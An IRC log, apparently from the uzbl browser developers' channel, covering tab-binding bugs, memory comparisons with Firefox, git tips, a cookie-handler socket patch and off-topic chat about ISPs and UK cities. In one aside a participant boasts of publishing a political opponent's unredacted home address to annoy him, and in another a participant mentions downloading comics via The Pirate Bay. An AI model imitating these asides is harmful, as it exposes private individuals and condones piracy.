11:12 < mason-l> Perfect.
11:13 < mason-l> holizz, I think you where out of the channel when I announced my changes to uzbl_tabbed.py you might want to check out the latest version :)
11:13 < holizz> What does it do now?
11:13 < mason-l> Or have a look at my git log
11:13 < mason-l> <mason-l> I've just made some huge factorisations to uzbl_tabbed.py adding saving/loading/deleting/listing of session presets, optional jsonification of session states with plain-text fall back, new command to kill all tabs and open a brand new fresh one, I'm now properly closing uzbl instances with the exit command instead of just killing the application. Ahhh I think thats it :)
11:13 < jpic> mason-l: are there bugfixes? most bindings won't work here
11:13 < mason-l> 'refactorisations
11:13 < mason-l> jpic, Lemme help, whats wrong?
11:14 < mason-l> jpic, What version of uzbl are you using?
11:14 < jpic> that is my config: http://nopaste.com/p/aTzEIT63B
11:14 < jpic> i'm using uzbl-experimental from sunday
11:15 < jpic> tn and tc work, but "to google.com" just won't be recognized
11:15 < jpic> well, it is recognized, but won't open a tab
11:16 < mason-l> Interesting.
11:16 < schmx> How do I disable javascript?
11:16 < mason-l> First step might to be chuck a print command in the function that receives messages from uzbl.
11:17 < jpic> which would be?
11:17 < holizz> schmx, set disable_scripts = 1 (or similar)
11:17 < schmx> aha
11:17 < mason-l> jpic, I've you've got the latest version from http://github.com/mason-larobina/uzbl/tree/experimental I'll give you some line numbers
11:18 < schmx> it all works just fine on non-js pages.
11:18 < mason-l> jpic, I meant "If you've got"
11:18 < jpic> i've you've got it ;)
11:18 < mason-l> jpic, Line 695 uncomment the print command
11:19 < mason-l> this will get messy but hopefully you should see something useful.
11:19 < mason-l> Infact, skip that
11:20 < mason-l> Go straight to line 870 and put a "-v" in the uzbl launch command
11:20 < mason-l> before the "-s"
11:20 < mason-l> so it turns into: cmd = 'uzbl -v -s %s -n %s_%0.2d %s &' % (sid, self.wid, pid, uri)
11:20 < jpic> sure
11:21 < jpic> oh wait
11:21 < jpic> i don't have your branch
11:21 < mason-l> ;)
11:22 < mason-l> There has also been some new additions to the uzbl_tabbed.py config. You shouldn't have any problems with the config you posted above but theres some new options available to you.
11:24 < jpic> it won't build here
11:25 < jpic> i don't have time to hack it
11:25 < jpic> sorry
11:25 < mason-l> My branch? I'm using Dieterbe_'s experimental uzbl.
11:25 < jpic> his builds
11:25 < mason-l> :S
11:26 < jpic> make
11:26 < jpic> make: *** No targets specified and no makefile found.  Stop.
11:26 < mason-l> Are you sure you are in the right folder?
11:26 < mason-l> There is a makefile in the project root
11:28 < jpic> oh ok, you have a different branching than Dieterbe_'s
11:28 < jpic> sorry i didn't make sure it was complex enough xD
11:29  * jpic will make an uzbl eclass pretty soon ...
11:30 < jpic> mason-l: this one works, thanks!
11:31 < jpic> tip of the day: control quality before requesting pull :)
11:31 < mason-l> :)
11:31 < Dieterbe_> that's not a tip of the day. i complain about that for already 3 months :P
11:31 < jpic> do you intend to make a tabdetach command?
11:32 < Dieterbe_> what's an eclass?
11:32 < jpic> that's something to refactor gentoo ebuilds
11:32 < jpic> i've already got 3 gentoo ebuilds for uzbl ...
11:33 < jpic> mason-l: how do you suggest to make keybindings for goto_tab?
11:33 < Dieterbe_> jpic: why 3 ?
11:34 < jpic> Dieterbe_: uzbl, uzbl-experimental and uzbl-mason-experimental
11:34 < jpic> there might be some issues in the release cycle xD
11:34 < schmx> How much RAM does uzbl use up in an average session?
11:34 < jpic> it's ok for me now taht it works
11:34 < schmx> or RA+swap
11:34 < schmx> ram
11:35 < jpic> schmx: less
11:35 < schmx> less than ... ?
11:35 < jpic> schmx: than whatever you're using, unless you're comparing to lynx
11:35 < schmx> jpic: I'm not comparing to anything. I'm wondering if I could run it off my linux server remotly.
11:36 < mason-l> "<jpic> mason-l: how do you suggest to make keybindings for goto_tab?" How do you mean? I've got some already "gi_"
11:36 < jpic> mason-l: instead of 1234657890 i need !@#${}&*()
11:36 < schmx> jpic: on 32MB
11:37 < mason-l> jpic, Also slight annoyance sorry I accidentally broke session loading in the commit you just pulled
11:37 < mason-l> jpic, I've already committed a fix.
11:37 < jpic> schmx: it's using less than 1% of my ram where firefox uses 17% with less tabs
11:38 < jpic> mason-l: no, it wasn't broken
11:38 < mason-l> jpic, Are you using json_sessions?
11:38 < mason-l> I only broke the non-json loading :)
11:38 < schmx> jpic: That doesn't really tell me anything. I'm more interested in a number of so-and-so many bytes.
11:38 < jpic> mason-l: to google.com is broken though
11:39 < jpic> schmx: then install it, it depends of your machine and how you built stuff
11:39 < mason-l> jpic, Alright chuck "-v" in that line I mentioned earlier
11:39 < jpic> i use -Os on the netbook
11:40 < schmx> jpic: I can't get it running, it segfaults. and for building it on the server I would have to set up a crossbuild environment, and build all of webkit, glib etc.  It is quite a lot of work for maybe something that won't even work. That is why I'm asking.
11:40 < mason-l> jpic, you should see a command dumped to the terminal that looks like the following: spawned: 'sh' '-c' 'echo "new google.com" > "/tmp/uzbltabbed_20974"'
11:40 < schmx> I takes what. a second to ask ps about memusage of it? ;)
11:40 < mason-l> jpic, That will tell me if its binded correctly.
11:41 < jpic> mason-l: the problem is that t_ gets evaluated before to
11:41 < jpic> resulting in   File "/home/jpic/bin/uzbl_tabbed.py", line 725, in parse_command self.goto_tab(int(cmd[1]))
11:41 < jpic> ValueError: invalid literal for int() with base 10: 'o'
11:41 < mason-l> Ohhhhhhhhh
11:41 < jpic> easy to fix :)
11:41 < mason-l> jpic, Thats a config problem :P f_ is really greedy and will catch any f_ command
11:41 < jpic> i'm not doing f_
11:42 < mason-l> set bind_goto_tab           = t_
11:42 < schmx> bob_f: !!
11:42 < mason-l> yes you are
11:42 < jpic> oh ok
11:42 < bob_f> schmx: What ?
11:42 < jpic> i though f_ was for hints
11:42 < mason-l> jpic, Sorry it wasnt f_ it was t_
11:42 < jpic> np
11:42 < bob_f> schmx: WHAT
11:42 < schmx> bob_f: could you be a doll and give me a ps aux | grep uzbl ?
11:43 < jpic> Dieterbe_: do you intend to get bindings with _ to be evaluated at the end? as fallback bindings?
11:43 < mason-l> Rodya, If non-json sessions are broken for you grab the latest commit.
11:43 < schmx> bob_f: VSZ is all I really need.
11:44 < bob_f> schmx: bob      18066  6.7  1.4  65052 14828 pts/0    S+   10:44   0:00 uzbl
11:44 < schmx> bob_f: thanks a bunch :)
11:44 < jpic> mason-l: can i make a binding for t# to do goto_tab(3) for example?
11:44 < schmx> that's too big. :(
11:44 < schmx> bob_f: you saved me a whole day of work :D
11:44 < bob_f> Hey, that's really weird. I just did a screen -x on my Eee and the session has sized appropriately on both my big monitor and my small monitor.
11:44 < bob_f> schmx: Too big for what ?
11:45 < mason-l> Dieterbe_, Can you make a binding to execute another binding? I forget
11:45 < schmx> bob_f: running uzbl remotely on my server and doing the ssh -X
11:45 < Dieterbe_> mason-l: keycmd?
11:45 < mason-l> Dieterbe_, That might be it.
11:45 < mason-l> jpic, Yeah, the easiest way might be to use the keycmd command
11:46 < jpic> is that part of uzbl config or uzbl_tabbed.py source?
11:46 < mason-l> Its a uzbl config command
11:47 < jpic> so, that is *not* a binding is it?
11:47 < mason-l> You will need to use a different key though because ti is already going to uzbl_tabbed.py
11:47 < mason-l> jpic, If you make another: bind tp# = keycmd_nl gi3
11:47 < mason-l> (I havent tested that, just going by the usage in the readme)
11:48 < jpic> mason-l: outstanding, thanks!
11:48 < mason-l> jpic, pleasure.
11:51 < jpic> there is it a problem to use any of these in bind !@#${}&*()?
11:51 < mason-l> jpic, Dont think there is.
11:51 < jpic> and []?
11:51 < mason-l> jpic, @ might play funny
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11:52 < mason-l> brb
11:55 < jpic> seems like { and } play funny
11:55 < jpic> nope it's ok
11:56 < jpic> bind t* causes problems
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11:59 < Dieterbe_> jpic> Dieterbe_: do you intend to get bindings with _ to be evaluated at the end? as fallback bindings? <-- right now the bind that matches first gets executed first
12:00 < Dieterbe_> jpic: maybe you should explain more what exactly you mean
12:00 < jpic> binds with a wildcard can be shortenned if they are executed at the end
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12:02 < Dieterbe_> executed at the end of what?
12:02 < Dieterbe_> please give examples
12:03 < jelly12gen> does uzbl has any password management system yet ?
12:05 < Dieterbe_> it has a formfiller script
12:12 < jpic> Dieterbe_: if t_ is evaluated before to then there is an issue
12:12 < jpic> so t_ has to be enlarged to tX_ where X is something making it unique
12:13 < jpic> well, you'd only need that for the best optimisation, i'm trying to use uzbl professionnaly ...
12:13 < jpic> (which means 10H/day)
12:14 < jelly12gen> Dieterbe_: what is that formfiller?
12:14 < Dieterbe_> jelly12gen: it fills in forms automatically (eg passwords)
12:15 < Dieterbe_> jpic: what you describe is how we do it currently, and i think that's the best approach
12:17 < jelly12gen> ok nice
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12:30 < jpic> Dieterbe_: but this causes to type a key that could be avoided ~400 times a day
12:31 < jpic> or more ...
12:41 < holizz> I just got a takedown notice (I think) from a member of the BNP (British far-right party): http://holizz.livejournal.com/9433.html
12:41 < holizz> You know you're a hacktivist when...
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12:44 < schmx> holizz: obviously you must pass it to your data protection officer.
12:44  * schmx reads on
12:45 < holizz> I read it over twice, and I know it wants me to "comply", but I don't know what they want me to do.
12:46 < schmx> ahahaha   processing of my personal data is causing me lotsa damage.   What a wanker :)
12:46 < holizz> If he wants me to stop processing his personal data, I stopped months ago. The script took less than a second to run.
12:48 < schmx> So many words... so little I understand.
12:48 < holizz> So many words, all conforming to the syntax of the English language, but I can't understand the semantics.
12:49 < schmx> So he is a bit upset that you looked at two internet sites and compared 'em?
12:49 < schmx> MY GOD
12:49 < schmx> you should be sent off to australia or something.
12:49 < holizz> My theory is that the BNP have given their members a stock letter. But I haven't found any other mention of this online.
12:50 < schmx> Sounds likely :)  Not that I know the details of the BNP, but we have similar APESHIT CRAZY political partys here.
12:51 < schmx> Ok.. Hey I have no idea what you're supposed to do to comply either :)
12:52 < schmx> I guess you must cease or not begin with processing his top secret data.
12:55 < holizz> Notice how I didn't redact his address. I hope that pisses him off, but it might be the same as the one listed in the leaked list, in which case it would already be all over the Internet.
12:55 < schmx> ehehe.
12:56 < schmx> Is funny how he thinks the world finding out he is a nazi is a bigger problem than the fact that he is one.
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13:00 < metamurk1> :reload
13:00 < metamurk1> mea culpa
13:00 < metamurk1> wrong window
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13:13 < jelly12gen> man i am beginning to like it
13:13 < jelly12gen> uzbl that is
13:14 < jelly12gen> one question does my config get reloaded when i run it ?
13:15  * schmx would guess so.
13:15 < schmx> now to rebind keys to sanity :P
13:15 < jelly12gen> i need to rebind them to vimperator style :P
13:15 < jpic> in scripts/download.sh remove if echo "$url" | grep -E '.*\.torrent' >/dev/null; and use the -q switch for grep i think
13:16 < jpic> jelly12gen: i'm started that, do you want my config?
13:16 < jelly12gen> jpic: yeah
13:16 < jpic> http://nopaste.com/p/aEqzdmi4y
13:16 < jelly12gen> i need to configure it as hell and then i will push it on github :P
13:16 < jpic> for uzbl_tabbed.py
13:16 < jelly12gen> jpic: i also need the tab bit yeah
13:17 < jelly12gen> damn
13:17 < jelly12gen> hmm
13:17 < jelly12gen>  i use yank url from the terminal
13:17 < jelly12gen> and that opens FF :P
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13:31 < jelly12gen> jpic: how to make a new tab?
13:31 < jpic> jelly12gen: tn
13:31 < jpic> wait, check the end of the config
13:32 < jpic> i just create tabs with togoogle.com for example
13:32 < jelly12gen> hmm
13:33 < jelly12gen> doesnt seem to work
13:34 < schmx> Hmm..
13:34 < schmx> It seems to me that uzbl is using up more memory than ff is for me.
13:34 < jelly12gen> schmx: nevermind
13:35 < jpic> jelly12gen: did you read the config?
13:35 < jelly12gen> jpic: i needed to run the other version
13:35 < jelly12gen> jpic: i need t execute ./foo_tabbed.py
13:35 < schmx> 1xff3.5 with 25 tabs == 939 MB.   25uzbl == 25*260MX
13:35 < schmx> MB too.
13:35 < jpic> ok then
13:35 < schmx> it seems not so good :(
13:35 < schmx> is there any neat way around this?
13:36 < lwithers> schmx: yes
13:36 < lwithers> schmx: pretty much all of that is going to be shared
13:36 < jelly12gen> schmx: wow
13:36 < lwithers> schmx: use a tool like smem to work out what's actually being used per instance
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13:36 < schmx> well ~25MB / instance
13:36 < lwithers> schmx: http://lwn.net/Articles/329458/
13:37 < schmx> which still is more than the 292MB that is res for ff
13:38 < schmx> right lemme take a look.
13:40 < jpic> jelly12gen: if you kept this from my config "set bind_tab_from_uri       = to_" then you can add "bind tgg_      = keycmd_nl tohttp://www.google.com/search?q=%s" which will cause tggfoo to search "foo" on google in a new tab
13:40 < lwithers> schmx: if I recall correctly, smem will tell you the "unique set size" which is the amount of RAM being used by the process *not for library code* and the "proportional set size" which is probably roughly what you want
13:40 < jelly12gen> ok
13:40 < jelly12gen> jpic: i will read it
13:40 < lwithers> uzbl developers could only address the unique set size
13:41 < jelly12gen> jpic: any way to do gt like vimperator does ?
13:41 < jpic> jelly12gen: i have no idea, i use custom bindings for that
13:41 < jpic> dvorak-code keyboard layout
13:41 < jelly12gen> jpic: i mean next tab
13:42 < jpic> tp/tn
13:42 < jelly12gen> jpic: nevermind
13:42 < jelly12gen> just leave me
13:42 < jelly12gen> i need to read :D
13:42 < jpic> ahahahah
13:42 < schmx> lwithers: I'm really just interested in memory usage all in all.
13:42 < jpic>  /away leave me alone please
13:43 < lwithers> schmx, point is in a modern operating system it's very difficult to define "memory usage" in a useful way
13:44 < schmx> good thing one is on linux and not a modern OS then (:
13:44 < lwithers> hehe
13:44 < lwithers> also do read that lwn article, I think it's quite informative and pretty well-written
13:44 < schmx> yes I have read it.
13:45 < Dieterbe_> jelly12gen> jpic: any way to do gt like vimperator does ? <-- what does gt do in vimp?
13:47 < jelly12gen> Dieterbe_: no clue
13:47 < jelly12gen> :P
13:48 < jelly12gen> but i got used to it :P
13:48 < lwithers> schmx: your next task is to work out what's using all the memory and fix it :P
13:48 < jelly12gen> Dieterbe_: oh gt is next tab
13:48 < lwithers> although seriously, there might be some low-hanging fruit
13:48 < lwithers> and I'm pretty sure there are some memory leaks in the current uzbl.c source
13:49 < schmx> right.
13:49 < schmx> 25uzbl instances uses a lot more mem than on ff/25 according to smem too.
13:50 < lwithers> e.g. I'm pretty sure the handler code is leaking the arguments passed to it
13:50 < schmx> also according to how my quad core turned into running really fookin' slow.
13:50 < lwithers> schmx: using what metric?
13:50 < mason-l> schmx, Open 25 firefoxes!
13:50 < schmx> mason-l: Why? I have 25 tabs.
13:50 < schmx> lwithers: PSS
13:50 < mason-l> But thats not the same comparison really.
13:50 < schmx> and it made the system very slow.
13:50 < Dieterbe_> valgrind ftw (see http://www.uzbl.org/contribute.php )
13:50 < schmx> mason-l: But that is the normal usecase.
13:50 < lwithers> Dieterbe_: aye
13:50 < schmx> either 1ff or 25 uzbl.
13:50 < jelly12gen> uzbl is more vimode but hmm  i need to get used to it
13:51 < schmx> I just want what runs best for me on the laptop.
13:51 < lwithers> schmx: elinks ? :)
13:51 < lwithers> or dillo
13:51 < schmx> they are not options.
13:51 < lwithers> not on today's web, no
13:52 < schmx> I'm not so interested in "today's web". i'm only interested in a set number of webapps :P
13:52 < lwithers> elinks + webapps = SIGFPE
13:54 < schmx> oh well. I'll see if I can get the fucker to run on netbsd anyway.
13:54 < schmx> right now I'm ssh:ing over to a linux-x86 box to run it.
13:54 < schmx> NOT A PRETTY SOLUTION
13:55 < schmx> Now I must get back to soldering more RAM on my server ;)
13:56 < jelly12gen> lol
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14:05 < mason-l> I'm going to buy some wolf shirts
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14:49 < jelly12gen> the default configs are a bit strange
14:49 < jelly12gen> why isn't 'gg' just scrol_begin
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14:53 < jelly12gen> how can i use shift in uzbl's config ?
14:53 < holizz> Capitalise the letter.
14:54 < ruskie> :)
14:54 < ruskie> it's so obvious yet so confusing at the same time
14:54 < jelly12gen> :D
14:55 < schmx> jelly12gen: just think keysyms and it is all clear
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14:56 < jelly12gen> i am just setting the config up to be a bit more vimperator
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14:58 < jelly12gen> do you need moar programmers ? I know some C :D
14:59 < jelly12gen> i will check out github tommorow
15:00 < Dieterbe_> jelly12gen: we can always use more helping hands ;)
15:01 < jelly12gen> and i am  familiar with gdb
15:01 < jelly12gen> Dieterbe_: ok
15:02 < jelly12gen> hmm
15:02 < mason-l> holizz, I noticed you've deleted all of those unnecessary branches in your repo but they still appear in mine when I $ git fetch holizz; git branch -r
15:02 < mason-l> Do you know how to clear the fetch chache?
15:02 < mason-l> 'cache
15:02 < holizz> Hmm...
15:02 < jelly12gen> own config is win
15:02 < jelly12gen> you can add your own search engine right :D
15:03 < mason-l> Maybe re-adding your remote repo might do it.
15:04 < mason-l> Nice :D that worked!
15:06 < holizz> git remote update -p seems to be doing the trick.
15:06 < holizz> And it does that for all repos.
15:08 < mason-l> What does the -p flag do?
15:08 < holizz> --prune
15:08 < mason-l> ohh
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15:10 < mason-l> git log --graph is pretty cool :)
15:10 < mason-l> I learned that one yesterday.
15:11 < holizz> Nice. Have you tried tig? It's like gitk in ncurses. So handy.
15:12  * mason-l orgasms
15:12 < holizz> Press 'g' to show the graph.
15:13 < holizz> Press 'C' to cherry-pick. This is the only way to cherry-pick for me.
15:18 < mason-l> Nice
15:18 < holizz> I think my scheme_handler is about ready to be merged. Does it want to be renamed? I think in its current state, scheme_handler may not be the best name.
15:19 < Dieterbe_> well the technically more correct name could be scheme_decision_handler, but sometimes easier and less correct names are better then harder more correct ones
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15:20 < holizz> Agreed. Brevity wins over correctness.
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15:24 < schmx> :O
15:24 < schmx> "brevity wins of correctness" :O
15:24 < schmx> is what one has completion for :P
15:29 < holizz> schmx, So you would prefer .NET's "System.Console.WriteLine" over, say, Ruby's "p"?
15:30 < holizz> (Technically, "puts" is closer in function to "System.Console.WriteLine").
15:30 < schmx> 'course man.
15:31 < schmx> I'd, of course, prefer neither :)
15:31 < holizz> There should be a tab completion system where you write a Ruby function and it gives you the .NET equivalent. p<Tab> -> System.Console.WriteLine("")
15:31 < schmx> Net has the charm of F# I guess :P
15:31 < schmx> ahahaha
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15:33 < holizz> And the opposite: System.Console.WriteLine<Tab> -> p
15:33 < schmx> that would be.. so useful
15:33 < schmx> wait no
15:43 < schmx> I think I'll migrate my ass over to conkeror. Thank you very much for all your kind help here, and I wish you all the best on your project :)
15:43 < mason-l> .. Thank you, I suppose.
15:44 < Dieterbe_> heeey i didn't know conkeror
15:46 < lwithers> neither did I, but I can't see a JS browser being particularly fast or lightweight...
15:47 < schmx> It is, atleast for me, loading pages quicker than uzbl.
15:47 < schmx> It has firefox speed with the loading.  and the same lightness.
15:47 < holizz> schmx, That might be due to cookies.
15:47 < schmx> Could very well be.
15:47 < holizz> Turn them off and see how fast it goes.
15:47 < schmx> But I need the cookies.
15:48 < lwithers> schmx, cookie speed is being worked on
15:48 < schmx> That is great.
15:48 < holizz> I have a partial solution -> use libsoup's FileCookieJar. I can push my branch if you want to try that.
15:48 < schmx> Then you just need to fix the memory usage :)
15:49 < schmx> holizz: There's no need. I can't use it anyway. It eats too much resources.
15:49 < schmx> (and I can't run it w/o segfaulting at the moment, but that is a webkit bug)
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16:05 < mason-l> Does anybody here love Firefly as much as I do?
16:09 < Dieterbe_> as in the tv series?
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16:09 < mason-l> Yeah :)
16:09 < mason-l> Ever seen it Dieterbe?
16:09 < Dieterbe_> nah
16:10 < mason-l> Ever heard about it?
16:10 < holizz> Masca, That depends. How much do you love it?
16:10 < mason-l> holizz, Verily.
16:10 < holizz> mason-l, even. Damn tab-completion in gajim.
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16:11 < mason-l> holizz, Good news! "Serenity: The Shepherd's Tale is an upcoming comic book series and the 3rd Serenity mini-series following Serenity: Those Left Behind and Serenity: Better Days. Ron Glass announced it at the 2007 Browncoat Cruise.[1] The series will focus on Shepherd Book's secret past."
16:12 < holizz> Oh. The comic books weren't great.
16:12 < mason-l> TBH I haven't read any of them.
16:12 < mason-l> Are they worth picking up?
16:12 < holizz> And Serenity was nowhere near as good as the series.
16:13 < mason-l> Agreed.
16:13 < mason-l> But it did wrap up a few (if I may say so) loose ends.
16:13 < holizz> I got them on The Pirate Bay. I wouldn't say they were worth money.
16:13 < mason-l> That bad?
16:15 < holizz> Meh. I suppose it depends on how much moe
16:15 < holizz> Backspace + enter: right next to each other.
16:15 < holizz> Meh. I suppose it depends on how much money you have, and how much you like spending it on things which aren't poor-quality comic books.
16:16 < mason-l> Who said pay for? :P
16:20 < Dieterbe_> holizz
16:20 < holizz> Dieterbe_
16:21 < Dieterbe_> it was you
16:21 < holizz> No.
16:23 < holizz> What was me?
16:25 < Dieterbe_> who said 'pay for' (well actually you said 'spending on', but that's the same)
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16:26 < holizz> Okay. I assumed "picking up" meant buying, as it can in some contexts.
16:28 < mason-l> :)
16:28 < Dieterbe_> btw i like to confuse people
16:28 < Dieterbe_> you may have noticed that
16:29 < mason-l> Well, night guys, I'm off for the night. I've got to get some work done on something else before work tomorrow.
16:29 < Dieterbe_> confusing people by saying technically correct things = fun
16:30 < holizz> Good night.
16:30 < mason-l> Dieterbe_, I work with a guy who doesn't know the difference between technically correct and politically correct :S
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16:31 < holizz> Dieterbe_, I prefer brevity over cor
16:31 < Dieterbe_> cor?
16:31 < mason-l> holizz, I see what you did there.
16:32 < Dieterbe_> mason-l: as long as he talks technically correct, that's the most important
16:32 < Dieterbe_> politics is for ***
16:32 < mason-l> :D
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20:32 < lwithers> bob_f: ping re socket interface for cookie handling
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20:50 < holizz> http://git.or.cz/gitwiki/GitSurvey2009
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21:11 < bob_f> lwithers: Hey, cool, thanks.
21:11 < bob_f> lwithers: Dieterbe_: Have you guys agreed on a way to get this into uzbl itself ?
21:11 < lwithers> Dieterbe_: I've tidied up the socket handler code quite a bit, I'll post a patch to the ml
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21:18 < lwithers> ok, patch posted
21:18 < lwithers> bob_f: take a look at that patch, it should apply cleanly and it's then trivial to use it
21:19 < lwithers> e.g. set cookie_handler = talk_to_socket /home/lwithers/tmp/test_socket
21:19 < bob_f> lwithers: Cool, doing it now.
21:19 < bob_f> Hm, looks like my internet is a bit spannered.
21:20 < lwithers> mail not working? could post it somewhere for wget if you need
21:20 < bob_f> Naw, works now.
21:20 < bob_f> So this is still an external C program ?
21:21 < lwithers> nope
21:21 < lwithers> no, with this uzbl connects directly to a socket provided by a daemon
21:21 < bob_f> Great.
21:21 < lwithers> absolutely no fork() invoked
21:21 < bob_f> Wooooo.
21:22 < bob_f> Where in the UK are you, by the way ?
21:22 < lwithers> Reading
21:22 < bob_f> Ah cool, not too far away - London here.
21:23 < bob_f> I wish I knew why git is always so damn slow on this connection.
21:23 < bob_f> Receiving objects:  65% (428/658), 84.00 KiB | 1 KiB/s
21:23 < bob_f> Seems to be the same regardless of where I'm pulling from.
21:25 < bob_f> lwithers: Do you have a git fork I can pull from ?
21:25 < bob_f> Might be easier.
21:32 < lwithers> erm let me set one up
21:33 < lwithers> (though patch -p1 is easy:)
21:34 < bob_f> lwithers: patch terrifies me every time I use it, for some reason.
21:35 < bob_f> Man, 8:30 already.
21:37 < holizz> I know, right? I've had such a busy day and I haven't even left the house.
21:39 < bob_f> I left work half an hour late, then cleaned the house, and now I'm just sitting down to play with the computer a little before dinner and I see the time.
21:39 < bob_f> Might have to go and make dinner now. Rah.
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21:50 < lwithers> git clone git://lwithers.me.uk/uzbl
21:56 < bob_f> lwithers: Cool - thanks.
21:58 < lwithers> the cookie data (GET/PUT) is sent verbatim from uzbl itself in a single packet
21:58 < lwithers> normally this would have been sent to the shell which would have unescaped the strings and split it
21:58 < lwithers> but at present you'll get a single string like this:
21:58 < lwithers> [fd:  7] got command -->GET 'http' 'clients1.google.co.uk' '/generate_204'<--
21:58 < lwithers> (the bit between --> and <-- ofc)
21:59 < lwithers> and you need to do the unpacking yourself :(
21:59 < bct> might be easiest to separate the arguments with a newline?
21:59 < lwithers> this should be changed in uzbl.c but that's a way more intrusive change
21:59 < lwithers> was thinking nulls myself
21:59 < lwithers> totally unambiguous then
21:59 < bct> even better.
22:00 < bob_f> Yeah, I was going to use nulls but bash hates them, apparently.
22:00 < lwithers> as I said however that is a much more intrusive change
22:00 < lwithers> well it wouldn't get passed to bash
22:00 < bob_f> Yup, I meant when I was forking a shell to pass to my python daemon.
22:00 < lwithers> the shell can get passed these things as whitespace-separated and sockets as null-separated
22:00 < lwithers> ah
22:01 < bct> oh, are we assuming that the current style of handler will still be supported?
22:01 < lwithers> yes
22:01 < lwithers> this is an addition
22:01 < bct> i guess it could be. i was assuming it would be totally replaced.
22:01 < bob_f> Gargh, why is git so slow.
22:02 < lwithers> bob_f: must be you, I have a crappy 1.25Mbit connection and I cloned that repo in seconds
22:02 < bob_f> My ISP completely kills bittorrent traffic before midnight, I think it might be thinking git is bittorrent or something.
22:02 < bob_f> lwithers: Yup, git *always* sucks for me, it's really annoying.
22:02 < lwithers> is your ISP Virgin Media or whatever they're calling themselves this week?
22:02 < bob_f> No, BT.
22:02 < lwithers> hrm
22:03 < lwithers> I can recommend Andrews & Arnolds, http://aaisp.net.uk/ , a bit pricey for some but damn good service and quality
22:03 < bob_f> Well, I live in a shared house and the BT stuff just comes with the rent.
22:03 < lwithers> oh :(
22:03 < bob_f> Hopefully moving out soon though !
22:04 < bct> wow, more than 2 choices of ISP
22:04 < bct> you guys are living the dream.
22:04 < bct> here we can choose between the phone company and the cable company :(
22:05 < lwithers> where's here?
22:05 < lwithers> not .au is it?
22:05 < bct> alberta, canada
22:05 < lwithers> ah right
22:05 < bct> it might be better elsewhere in the country, but that's what we have here.
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22:07 < lwithers> well, here we have an incompetent phone company (I live in the centre of the largest town in the UK and they *still* can't manage to get a decent ADSL connection -- 1.25Mbps when I should be getting 24 :( ), a few competent but expensive ISPs, and lots of incompetent ones
22:07 < lwithers> oh and the cable company sucks and likes to damage phone company stuff whenever possible :(
22:10 < bct> i think telecom companies being incompetent is universal.
22:10 < bct> incompetent and/or evil.
22:11 < lwithers> I hear the engineers on the ground are mostly very good, but in a company that size it's easy to see why things fall to beurocracy/idiocy
22:13 < lwithers> the best (scariest?) thing I heard from BT is they said "we don't support IPv6" -- but they're only carrying PPP packets from the exchange to the ISP, so whether it's IPv4, IPv6 or BogonMeganetProtocol shouldn't make any difference
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22:14 < lwithers> the ISP in question queried whether they supported HTTP, SMTP and so on, but got no answer...
22:14 < bct> ahaha
22:15 < lwithers> in fact: http://www.aaisp.net.uk/news-ipv6.html
22:27 < bob_f> lwithers: Reading is the largest town in the UK ?
22:27 < bob_f> Oh, you mean town as in *town* ?
22:27 < lwithers> yes as in town, not city
22:27 < bob_f> Aha.
22:28 < bob_f> I went to Reading once.
22:28 < bob_f> Well, twice.
22:28 < bob_f> No, 4 times.
22:28 < lwithers> I always laugh when I'm abroad and they call something with 20k popn a city
22:28 < bob_f> Heh.
22:28 < bob_f> Yeah, 7M here. :)
22:29 < bob_f> I think Ely is one of the smallest cities here.
22:29 < bob_f> But they kind of cheat because they have a cathedral.
22:29 < lwithers> well, depends on how you measure it, but london is 7.5M central or about 13M including outlying bits
22:30 < bob_f> Yeah. It took a lot of getting used to.
22:30 < lwithers> apparenty the "City of London" is actually a separate city with a popn of 8k...
22:30 < bob_f> Yeap.
22:30 < lwithers> some blocks of flats have higher population than that
22:30 < bob_f> Oh, you know Bruce Parry ?
22:31 < lwithers> nope?
22:32 < lwithers> wikipedia does though
22:43 < bob_f> lwithers: Oh, anyway, I raved to some psytrance with him on Saturday. :)
22:44 < lwithers> heh
23:03 < noisetonepause> lwithers: i thought what's a city and what isn't in the uk was something the queen decided
23:03 < lwithers> noisetonepause: if only it was that simple :)
23:04 < noisetonepause> liek, brighton & hove become a city recently because of... something
23:04 < lwithers> it's just that having grown up in a large town and regularly visited london etc. you get a certain idea of what is a "city"
23:04 < noisetonepause> or was it to do with having a cathedral...
23:05 < holizz> I'm not fond of the old-fashioned church-related definitions. They're not portable.
23:05 < lwithers> it used to be, now it's pretty much a pissing contest between local councils AIUI
23:05 < noisetonepause> my first language (danish) doesn't have anything like the distinction between town and city
23:05 < noisetonepause> city and village.
23:06 < noisetonepause> if it's got a pub or more than one shop, it's a city
23:06 < noisetonepause> the end.
23:07 < lwithers> ah, that's interesting, I wonder if it's the same in Norway? (last place I was surprised about what counted as a city)
23:09 < noisetonepause> i think so.
23:09 < noisetonepause> without being an expert on norwegian
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23:39 < bob_f> I can't remember why Brighton & Hove became a city.
23:39 < bob_f> I was living there at the time.
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23:47 < noisetonepause> I went to Brighton for a month and I can't remember much of it
23:48 < bob_f> noisetonepause: Lived there for three years, really nice place to live.
23:48 < noisetonepause> had a nice 1.5k-shaped hole in my bank account when I came back, too
23:48 < bob_f> Heheh.
23:48 < noisetonepause> what's it like in the winter?
23:48 < bob_f> The touristy bits are typical seaside resort stuff, but it's got a great community there.
23:48 < noisetonepause> can imagine it getting very cold and depressing
23:49 < bob_f> Nah. It's cold, but with so many nice people around it's really not so bad.
23:49 < bob_f> Everywhere in England is cold. :)
23:49 < bob_f> Plus the winter holds off for a while there - I remember sitting on the beach as late as October.
23:50 < bob_f> But yeah, the main thing is just the types of people that live there. I wouldn't mind going back there one day to live.
23:51 < noisetonepause> think i'd get bored of it
23:51 < noisetonepause> how everyone's a dj, or writing a book
23:51 < holizz> All I know about Brighton I learnt from Sugar Rush.
23:51 < bob_f> noisetonepause: Heh, well, what do you prefer ?
23:52 < bob_f> Personally I go crazy if I'm not surrounded by arty people.
23:52 < noisetonepause> i'm a university bum
23:52 < noisetonepause> i prefer people who are working on a theory of everything:)
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23:53 < bob_f> Fair enough, I guess it ain't for everyone.
23:53 < noisetonepause> it's the same thing, just with longer words...
23:54 < bob_f> I'm pretty much happy wherever my friends are; I tend to just follow people around and make sure I'm always surrounded by a bunch of friends.
23:54 < bob_f> Well, except right now, but I should be moving soon now, hooray !
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23:55 < noisetonepause> my friends are all here in copenhagen
23:55 < noisetonepause> which is also beautiful and Exactly The Right Size, a la goldilocks
23:56 < noisetonepause> so i'm good:)
23:58 < bob_f> du er danske ?
23:58 < noisetonepause> ja.
23:59 < noisetonepause> hvor er du fra?
